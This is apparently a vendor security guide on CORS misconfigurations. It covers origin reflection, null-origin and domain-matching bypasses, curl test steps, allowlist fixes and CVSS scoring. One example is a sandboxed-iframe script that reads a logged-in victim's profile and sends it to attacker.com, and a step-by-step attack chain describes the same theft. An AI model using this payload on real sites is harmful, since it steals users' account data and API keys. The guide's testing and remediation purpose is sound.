What CORS is — and what it isn't
Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls which external origins can read responses from your server. When a browser makes a cross-origin request, it checks the response headers to decide whether the calling JavaScript is allowed to access the response body.
CORS is a browser enforcement mechanism. It does not prevent the server from receiving the request — it prevents the browser from exposing the response to the calling JavaScript. This distinction matters for understanding what CORS misconfiguration actually enables.
A misconfigured CORS policy means an attacker-controlled website can make credentialed cross-origin requests to your API and read the responses — including session data, account details, tokens, or any other authenticated content.
The three exploitable CORS patterns
1. Origin reflection
The server echoes whatever origin the request sends back in Access-Control-Allow-Origin. This is the most impactful pattern — any origin is trusted, including attacker-controlled domains.
# Request from attacker's site
GET /api/account/profile HTTP/1.1
Host: app.example.com
Origin: https://attacker.com
Cookie: session=abc123
# Server reflects origin back
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com ← reflected
Access-Control-Allow-Credentials: true ← credentials included
Content-Type: application/json
{ "email": "victim@example.com", "api_key": "sk_live_..." }With Access-Control-Allow-Credentials: true, the browser sends the victim's session cookie with the request and allows the attacker's JavaScript to read the full response. This is confirmed account data theft.
2. Null origin bypass
Some applications whitelist the null origin — typically to support local file development. Attackers can generate a null origin from sandboxed iframes, making this an exploitable misconfiguration in production.
GET /api/account/profile HTTP/1.1 Origin: null HTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
Exploit delivery via sandboxed iframe on an attacker-controlled page:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
fetch('https://app.example.com/api/account/profile', { credentials: 'include' })
.then(r => r.json())
.then(d => fetch('https://attacker.com/collect?data=' + btoa(JSON.stringify(d))))
</script>
"></iframe>3. Subdomain wildcard and prefix matching
Applications that check only whether the origin starts with or ends with a trusted domain are vulnerable to subdomain bypass. If https://example.com is trusted, an attacker who controls https://evil.example.com or registers https://example.com.attacker.com can exploit the match.
# Suffix match bypass — attacker registers example.com.evil.com GET /api/account/profile HTTP/1.1 Origin: https://example.com.evil.com HTTP/1.1 200 OK Access-Control-Allow-Origin: https://example.com.evil.com ← trusted incorrectly
What makes a CORS finding exploitable vs. informational
Not every permissive CORS header is a confirmed vulnerability. The exploitability depends on two conditions being true simultaneously:
The endpoint returns sensitive data
A permissive CORS policy on a public, unauthenticated endpoint that returns only public data is not exploitable. The policy needs to protect data the attacker couldn't otherwise access.
Access-Control-Allow-Credentials: true is set
Without credentials, the cross-origin request is anonymous. The attacker can make the request but only reads what an unauthenticated user could read anyway. Credentials flag is required for session-riding attacks.
If either condition is absent, the CORS finding is a hardening gap — worth fixing, but not a confirmed exploitable vulnerability. Report it separately from findings that have proof of impact.
End-to-end exploit scenario
Here is a complete attack chain against an application with origin reflection and credentials enabled:
Victim visits attacker's page
Attacker sends a phishing link or runs a malicious ad. Victim's browser loads https://attacker.com/exploit.html while logged into app.example.com.
Cross-origin fetch with credentials
JavaScript on the attacker's page calls fetch('https://app.example.com/api/account', { credentials: 'include' }). The victim's session cookie is sent automatically.
Server reflects origin and includes credentials flag
The server responds with Access-Control-Allow-Origin: https://attacker.com and Access-Control-Allow-Credentials: true. The browser allows the response to be read.
Attacker reads victim's account data
The JavaScript reads the full JSON response — email, API keys, personal data, billing info — and exfiltrates it to attacker.com. No user interaction beyond visiting the page is required.
How to test your application for CORS misconfigurations
Step 1: Identify authenticated API endpoints
Focus on endpoints that return user-specific data — profile, settings, tokens, billing, documents. CORS only matters on endpoints where unauthorized access has impact.
Step 2: Send a cross-origin request with a controlled origin
curl -s -I -X GET https://app.example.com/api/account/profile -H "Origin: https://attacker-test.com" -H "Cookie: session=<your_valid_session>" # Look for: # Access-Control-Allow-Origin: https://attacker-test.com ← reflected # Access-Control-Allow-Credentials: true ← dangerous combination
Step 3: Test the null origin
curl -s -I -X GET https://app.example.com/api/account/profile -H "Origin: null" -H "Cookie: session=<your_valid_session>" # If response contains: # Access-Control-Allow-Origin: null # Access-Control-Allow-Credentials: true # → exploitable via sandboxed iframe
Step 4: Test subdomain and prefix bypass
# Test suffix bypass curl -s -I -H "Origin: https://example.com.attacker.com" https://app.example.com/api/account/profile # Test prefix bypass curl -s -I -H "Origin: https://example.com.evil.com" https://app.example.com/api/account/profile # Test subdomain (if you control a subdomain) curl -s -I -H "Origin: https://sub.example.com" https://app.example.com/api/account/profile
Step 5: Verify the preflight for non-simple requests
curl -s -I -X OPTIONS https://app.example.com/api/account/profile -H "Origin: https://attacker-test.com" -H "Access-Control-Request-Method: GET" -H "Access-Control-Request-Headers: Authorization" # Dangerous response: # HTTP/1.1 200 OK # Access-Control-Allow-Origin: https://attacker-test.com # Access-Control-Allow-Methods: GET, POST, PUT, DELETE # Access-Control-Allow-Headers: Authorization, Content-Type # Access-Control-Allow-Credentials: true
How to fix CORS misconfigurations
Use an explicit allowlist, never reflect
// Bad — reflects any origin
const origin = req.headers.origin;
res.setHeader('Access-Control-Allow-Origin', origin);
// Good — validate against explicit list
const ALLOWED_ORIGINS = ['https://app.example.com', 'https://admin.example.com'];
const origin = req.headers.origin;
if (ALLOWED_ORIGINS.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin'); // required when origin varies
}Only set credentials flag when required
Access-Control-Allow-Credentials: true should only be set on endpoints that genuinely require cookie-based cross-origin access. Most API endpoints using Authorization headers don't need it — the header is sent regardless.
Never use Access-Control-Allow-Origin: * with credentials
Browsers block this combination entirely — a wildcard origin with credentials is invalid per the spec. But some frameworks silently fall back to origin reflection when this configuration is attempted, creating the vulnerability instead of an error.
Set Vary: Origin when the allowed origin changes per request
Without Vary: Origin, CDNs and caches may serve a response with one origin's CORS headers to a request from a different origin — bypassing the allowlist at the cache layer.
CVSS 3.1 scoring for CORS findings
A confirmed exploitable CORS misconfiguration (origin reflection + credentials + sensitive data endpoint) typically scores:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
AV:N — Network (remotely exploitable)
AC:L — Low complexity (no special conditions)
PR:N — No privileges required on the attacking side
UI:R — Requires victim to visit attacker's page
S:C — Scope changed (browser security boundary crossed)
C:H — High confidentiality impact (full response read)
Score: 8.2 High
A CORS finding on a public endpoint with no credentials drops to Informational — not a confirmed vulnerability, just a hardening gap.
Test your CORS configuration automatically
Nautillo Pro runs CORS exploitation tests across your authenticated API endpoints — testing origin reflection, null origin bypass, subdomain matching, and preflight abuse. Every confirmed finding includes the full HTTP request, response, and CVSS score.
See a live attack report